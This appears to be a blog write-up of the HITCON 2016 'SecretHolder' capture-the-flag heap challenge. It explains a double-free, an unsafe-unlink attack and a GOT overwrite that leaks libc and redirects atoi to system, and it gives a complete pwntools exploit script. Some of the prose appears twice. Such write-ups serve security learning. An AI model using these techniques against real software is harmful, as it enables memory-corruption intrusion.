After a long time a pwn challenge. This challenge is of 100 points and is a heap exploitation challenge.
So it is a 64-bit binary. Let's have a look in IDA.
Keeping a secret note is done as
So it first checks to see whether the specific size of allocation is already done or not by quering a variable which either holds 1 or 0 for already allocated or freed buffer and then makes a request to calloc to allocate a zeroed memory in heap. The sizes of allocation for small, big and huge are 40, 4000, 40000 bytes respectively.
Let's have a look at wipe_secret function:
So the function first frees the buffer in which secret is kept and then zeroes out the variable assciated with the allocation of the variable. But wait, it does not check whether the buffer is already allocated or not and here lies the vulnerability. We can free a buffer twice and exploit the double-free(you can read more about double free here and here). A more detailed example can be found .here
1. Make a small allocation
2. Free the small allocation
3. Make a big allocation
4. Free the small allocation <---- Double Free
5. Make a small allocation
For malloc the big allocation is free but we can still use it in our code to make a fake chunk to cause a unsafe-unlink of the chunks :)
Heap now looks like this
Now to make a fake chunk we have to make use of a huge allocation. As we know, for an allocation of very large size, allocation is done by mmap instead of malloc, which results in the allocation in a very high memory address and we don't want that. We want the allocation to happen just after the small allocation. For this we make a huge allocation, free it and again make the allocation.
This results the huge allocation just after the small allocation.
Now, we can make use of the big allocation which according to malloc is free but we can use it to craft the fake chunk and perform an unlink attack.
For the unlink attack we make use of specially crafted chunks which contain the FD and BK pointers, having the following properties:
P->fd->bk == P || P->bk->fd == P
and the next chunk's prev_in_use bit should be unset. So when we free the chunk unlink does its work by writing to pointers.
P->FD->BK = P->BK
P->BK->FD = P->FD
So when we craft the buffer like this
RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
We are now writing to the address 0x60200B <--- 0x602098. Since 0x60200B is the address for the small allocation buffer, the small buffer now points to 0x602098 and we have full control over that buffer.
Let's now write some pointers to the small buffer. We try to make a GOT overwrite. This can be done by overwriting FREE_GOT with PUTS_PLT.
And then we give READ_PLT as parameter to the puts.
Analysis
vagrant@vagrant:/vagrant/Hitcon2016$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
vagrant@vagrant:/vagrant/Hitcon2016$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
So it is a 64-bit binary. Let's have a look in IDA.
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v3 = atoi(&s);
switch ( v3 )
{
case 2:
wipe_secret(&s, &s);
break;
case 3:
renew_secret(&s, &s);
break;
case 1:
keep_secret(&s, &s);
break;
}
}
Keeping a secret note is done as
read(0, &s, 4uLL);
v0 = atoi(&s);
if ( v0 == 2 )
{
if ( !dword_6020B8 )
{
qword_6020A0 = calloc(1uLL, 0xFA0uLL);
dword_6020B8 = 1;
puts("Tell me your secret: ");
read(0, qword_6020A0, 0xFA0uLL);
}
}
else if ( v0 == 3 )
{
if ( !dword_6020BC )
{
qword_6020A8 = calloc(1uLL, 0x61A80uLL);
dword_6020BC = 1;
puts("Tell me your secret: ");
read(0, qword_6020A8, 0x61A80uLL);
}
}
else if ( v0 == 1 && !dword_6020C0 )
{
buf = calloc(1uLL, 0x28uLL);
dword_6020C0 = 1;
puts("Tell me your secret: ");
read(0, buf, 0x28uLL);
}
So it first checks to see whether the specific size of allocation is already done or not by quering a variable which either holds 1 or 0 for already allocated or freed buffer and then makes a request to calloc to allocate a zeroed memory in heap. The sizes of allocation for small, big and huge are 40, 4000, 40000 bytes respectively.
Let's have a look at wipe_secret function:
read(0, &s, 4uLL);
v0 = atoi(&s);
switch ( v0 )
{
case 2:
free(qword_6020A0);
dword_6020B8 = 0;
break;
case 3:
free(qword_6020A8);
dword_6020BC = 0;
break;
case 1:
free(buf);
dword_6020C0 = 0;
break;
}
So the function first frees the buffer in which secret is kept and then zeroes out the variable assciated with the allocation of the variable. But wait, it does not check whether the buffer is already allocated or not and here lies the vulnerability. We can free a buffer twice and exploit the double-free(you can read more about double free here and here). A more detailed example can be found .here
First Step - Double Free
1. Make a small allocation
2. Free the small allocation
3. Make a big allocation
4. Free the small allocation <---- Double Free
5. Make a small allocation
Keepsecret(1, "A"*0x10) # small allocate
Wipesecret(1) # small free
Keepsecret(2, "B"*0x20) # big allocate
Wipesecret(1) # small free
Keepsecret(1, "C"*8) # small allocate
For malloc the big allocation is free but we can still use it in our code to make a fake chunk to cause a unsafe-unlink of the chunks :)
Heap now looks like this
gef➤ x/50gx 0x0000000000feb000
0xfeb000: 0x0000000000000000 0x0000000000000031
0xfeb010: 0x4343434343434343 0x000000000000000a
0xfeb020: 0x0000000000000000 0x0000000000000000
0xfeb030: 0x0000000000000000 0x0000000000020fd1 <----Top chunk
0xfeb040: 0x0000000000000000 0x0000000000000000
Now to make a fake chunk we have to make use of a huge allocation. As we know, for an allocation of very large size, allocation is done by mmap instead of malloc, which results in the allocation in a very high memory address and we don't want that. We want the allocation to happen just after the small allocation. For this we make a huge allocation, free it and again make the allocation.
Keepsecret(3, "E"*0x20) # huge allocate
Wipesecret(3) # huge free
Keepsecret(3, "F"*0x20) # huge allocate
This results the huge allocation just after the small allocation.
gef➤ x/50gx 0x0000000000feb000
0xfeb000: 0x0000000000000000 0x0000000000000031
0xfeb010: 0x4343434343434343 0x000000000000000a
0xfeb020: 0x0000000000000000 0x0000000000000000
0xfeb030: 0x0000000000000000 0x0000000000061a91
0xfeb040: 0x4646464646464646 0x4646464646464646
0xfeb050: 0x4646464646464646 0x4646464646464646
0xfeb060: 0x000000000000000a 0x0000000000000000
0xfeb070: 0x0000000000000000 0x0000000000000000
Now, we can make use of the big allocation which according to malloc is free but we can use it to craft the fake chunk and perform an unlink attack.
Unsafe Unlink
For the unlink attack we make use of specially crafted chunks which contain the FD and BK pointers, having the following properties:
P->fd->bk == P || P->bk->fd == P
and the next chunk's prev_in_use bit should be unset. So when we free the chunk unlink does its work by writing to pointers.
P->FD->BK = P->BK
P->BK->FD = P->FD
So when we craft the buffer like this
RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
gef➤ x/50gx 0x0000000000feb000
0xfeb000: 0x0000000000000000 0x0000000000000031
0xfeb010: 0x0000000000000000 0x0000000000081ff1
0xfeb020: 0x0000000000602098 0x00000000006020a0
0xfeb030: 0x0000000000000020 0x0000000000061a90
0xfeb040: 0x4646464646464646 0x4646464646464646
0xfeb050: 0x4646464646464646 0x4646464646464646
0xfeb060: 0x000000000000000a 0x0000000000000000
We are now writing to the address 0x60200B <--- 0x602098. Since 0x60200B is the address for the small allocation buffer, the small buffer now points to 0x602098 and we have full control over that buffer.
Leak LIBC
Let's now write some pointers to the small buffer. We try to make a GOT overwrite. This can be done by overwriting FREE_GOT with PUTS_PLT.
RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
RenewSecret(2, p64(puts_plt))
And then we give READ_PLT as parameter to the puts.
RenewSecret(1, p64(read_got))
gef➤ x/50gx 0x0000000000602090
0x602090 <stdout>: 0x00007f8fd9923620 0x4141414141414141
0x6020a0: 0x0000000000602040 0x4141414141414141
0x6020b0: 0x00000000006020a0 0x0000000000000001
gef➤ x/x 0x0000000000602040
0x602040 <read@got.plt>: 0x00007f8fd9655250
gef➤ x/x 0x0000000000602018
0x602018 <free@got.plt>: 0x00000000004006c0
gef➤ x/x 0x00000000004006c0
0x4006c0 <puts@plt>: 0x01680020195a25ff
Full Exploit
from pwn import *
small_secret = 0x6020B0
big_secret = 0x6020A0
puts_plt = 0x4006c0
free_got = 0x602018
read_got = 0x602040
atoi_got = 0x602070
p = process("./SecretHolder")
def Keepsecret(size, data):
p.recvuntil("3. Renew secret\n")
p.sendline('1')
p.recvuntil("3. Huge secret\n")
p.sendline(str(size))
p.recvuntil("Tell me your secret:")
p.sendline(data)
def Wipesecret(size):
p.recvuntil("3. Renew secret\n")
p.sendline('2')
p.recvuntil("Which Secret do you want to wipe?\n")
p.sendline(str(size))
def RenewSecret(size, data):
p.recvuntil("3. Renew secret\n")
p.sendline('3')
p.recvuntil('3. Huge secret\n')
p.sendline(str(size))
p.recvuntil(':')
p.send(data)
def Pwn():
Keepsecret(1, "A"*0x10) # small allocate
Wipesecret(1) # small free
Keepsecret(2, "B"*0x20) # big allocate
Wipesecret(1) # small free
Keepsecret(1, "C"*8) # small allocate
pause()
Keepsecret(3, "E"*0x20) # huge allocate
Wipesecret(3) # huge free
Keepsecret(3, "F"*0x20) # huge allocate
pause()
RenewSecret(2, p64(0x00) + p64(0x21) + p64(small_secret-0x18) + p64(small_secret-0x10) + p64(0x20) + p64(400016))
pause()
Wipesecret(3) # huge free
RenewSecret(1, "A"*8 + p64(free_got) + "A"*8 + p64(big_secret))
RenewSecret(2, p64(puts_plt))
RenewSecret(1, p64(read_got))
pause()
Wipesecret(2)
leak = p.recv()
#print leak
leak = p.recvline()
read_addr = u64(leak[:6] + "\x00\x00")
log.info("read addr : " + hex(read_addr))
libc_addr = read_addr - 0xf7250
log.info("libc addr : " + hex(libc_addr))
system_addr = libc_addr + 0x45390
log.info("system addr : " + hex(system_addr))
RenewSecret(1, p64(atoi_got) + "A"*8 + p64(big_secret) + p64(1))
RenewSecret(2, p64(system_addr))
p.interactive()
if __name__ == "__main__":
Pwn()
No comments:
Post a Comment